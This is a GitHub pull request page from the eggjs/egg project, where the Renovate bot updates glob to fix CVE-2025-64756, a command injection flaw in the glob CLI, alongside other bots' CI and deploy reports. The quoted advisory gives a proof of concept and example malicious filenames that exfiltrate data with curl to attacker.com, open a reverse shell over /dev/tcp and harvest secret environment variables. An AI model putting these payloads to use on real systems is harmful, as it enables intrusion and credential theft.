chore(deps): update dependency glob to v11.1.0 [security] #5778

renovate · 2026-01-23T18:10:02Z

This PR contains the following updates:

Package	Change	Age	Confidence
glob	`11.0.3` → `11.1.0`

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

User runs glob -c <command> <pattern>
CLI finds files matching the pattern
Matched filenames are collected into an array
Command is executed with matched filenames as arguments using shell: true
Shell interprets metacharacters in filenames as command syntax
Malicious filenames execute arbitrary commands

Affected Component:

CLI Only: The vulnerability affects only the command-line interface
Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
Any directory where attackers can control filenames (PR branches, archives, user uploads)
CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

The echo command executes normally
Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
A new file injected_poc is created, proving command execution
Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

Commands execute with full privileges of the user running glob CLI
No privilege escalation required - runs as current user
Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

Malicious PR adds files with crafted names to repository
CI pipeline uses glob -c to process files (linting, testing, deployment)
Commands execute in CI environment with build secrets and deployment credentials
Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

Developer clones repository or extracts archive containing malicious filenames
Local build scripts use glob -c for file processing
Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

Services using glob CLI to process uploaded files or external content
File uploads with malicious names trigger command execution
Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

Malicious packages or themes include files with crafted names
Build processes using glob CLI automatically process these files
Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

Ecosystem: npm
Package name: glob
Component: CLI only (src/bin.mts)
Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
Patched versions: 11.1.0and 10.5.0

Scope Limitation:

Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

`v11.1.0`

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2026-01-23T18:10:03Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: pnpm-lock.yaml

Scope: all 73 workspace projects
.                                        |  WARN  There are cyclic workspace dependencies: /tmp/renovate/repos/github/eggjs/egg/packages/cluster, /tmp/renovate/repos/github/eggjs/egg/plugins/mock, /tmp/renovate/repos/github/eggjs/egg/packages/egg; /tmp/renovate/repos/github/eggjs/egg/tegg/core/runtime, /tmp/renovate/repos/github/eggjs/egg/tegg/core/test-util
 ERROR  Invalid Version: ^11.0.0

pnpm: Invalid Version: ^11.0.0
    at new _SemVer (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:38223:17)
    at compare (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:38616:65)
    at Object.eq (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:38700:31)
    at installSome (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:159270:223)
    at _install (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:159212:21)
    at async mutateModules (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:159072:23)
    at async recursive (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:160468:100)
    at async recursiveInstallThenUpdateWorkspaceState (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:160979:31)
    at async installDeps (/opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:160786:11)
    at async /opt/containerbase/tools/pnpm/10.28.0/24.13.0/node_modules/pnpm/dist/pnpm.cjs:194253:23

cloudflare-workers-and-pages · 2026-01-23T18:10:09Z

Deploying egg-v3 with Cloudflare Pages

Latest commit:	`326c8e9`
Status:	✅ Deploy successful!
Preview URL:	https://b6d99779.egg-v3.pages.dev
Branch Preview URL:	https://renovate-npm-glob-vulnerabil.egg-v3.pages.dev

View logs

coderabbitai · 2026-01-23T18:10:12Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

socket-security · 2026-01-23T18:13:36Z

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

Action	Severity	Alert (click "▶" to expand/collapse)
Warn		Obfuscated code: npm `safer-buffer` is 94.0% likely obfuscated Confidence: 0.94 Location: Package overview From: `?` → `npm/safer-buffer@2.1.2` ℹ Read more on: This package \| This alert \| What is obfuscated code? Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at `support@socket.dev`. Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code. Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment `@SocketSecurity ignore npm/safer-buffer@2.1.2`. You can also ignore all packages with `@SocketSecurity ignore-all`. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

cloudflare-workers-and-pages · 2026-01-23T18:15:43Z

Deploying egg with Cloudflare Pages

Latest commit:	`326c8e9`
Status:	✅ Deploy successful!
Preview URL:	https://1ed44f18.egg-cci.pages.dev
Branch Preview URL:	https://renovate-npm-glob-vulnerabil.egg-cci.pages.dev

View logs

codecov · 2026-01-23T18:17:06Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 87.57%. Comparing base (8c09d7b) to head (326c8e9).

Additional details and impacted files

@@           Coverage Diff           @@
##             next    #5778   +/-   ##
=======================================
  Coverage   87.57%   87.57%           
=======================================
  Files         563      563           
  Lines       10940    10940           
  Branches     1242     1242           
=======================================
  Hits         9581     9581           
  Misses       1275     1275           
  Partials       84       84

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

chore(deps): update dependency glob to v11.1.0 [security]

326c8e9

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update dependency glob to v11.1.0 [security] #5778

chore(deps): update dependency glob to v11.1.0 [security] #5778

Uh oh!

renovate bot commented Jan 23, 2026

Uh oh!

renovate bot commented Jan 23, 2026

Uh oh!

cloudflare-workers-and-pages bot commented Jan 23, 2026 •

edited

Loading

Uh oh!

coderabbitai bot commented Jan 23, 2026

Review skipped

Uh oh!

socket-security bot commented Jan 23, 2026

Uh oh!

cloudflare-workers-and-pages bot commented Jan 23, 2026

Uh oh!

codecov bot commented Jan 23, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Uh oh!

chore(deps): update dependency glob to v11.1.0 [security] #5778

Are you sure you want to change the base?

chore(deps): update dependency glob to v11.1.0 [security] #5778

Uh oh!

Conversation

renovate bot commented Jan 23, 2026

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

Details

PoC

Impact

Affected Products

Remediation

Release Notes

v11.1.0

Configuration

Uh oh!

renovate bot commented Jan 23, 2026

⚠️ Artifact update problem

File name: pnpm-lock.yaml

Uh oh!

cloudflare-workers-and-pages bot commented Jan 23, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Deploying egg-v3 with Cloudflare Pages

Uh oh!

coderabbitai bot commented Jan 23, 2026

Review skipped

Uh oh!

socket-security bot commented Jan 23, 2026

Uh oh!

cloudflare-workers-and-pages bot commented Jan 23, 2026

Deploying egg with Cloudflare Pages

Uh oh!

codecov bot commented Jan 23, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

`v11.1.0`

cloudflare-workers-and-pages bot commented Jan 23, 2026 •

edited

Loading

codecov bot commented Jan 23, 2026 •

edited

Loading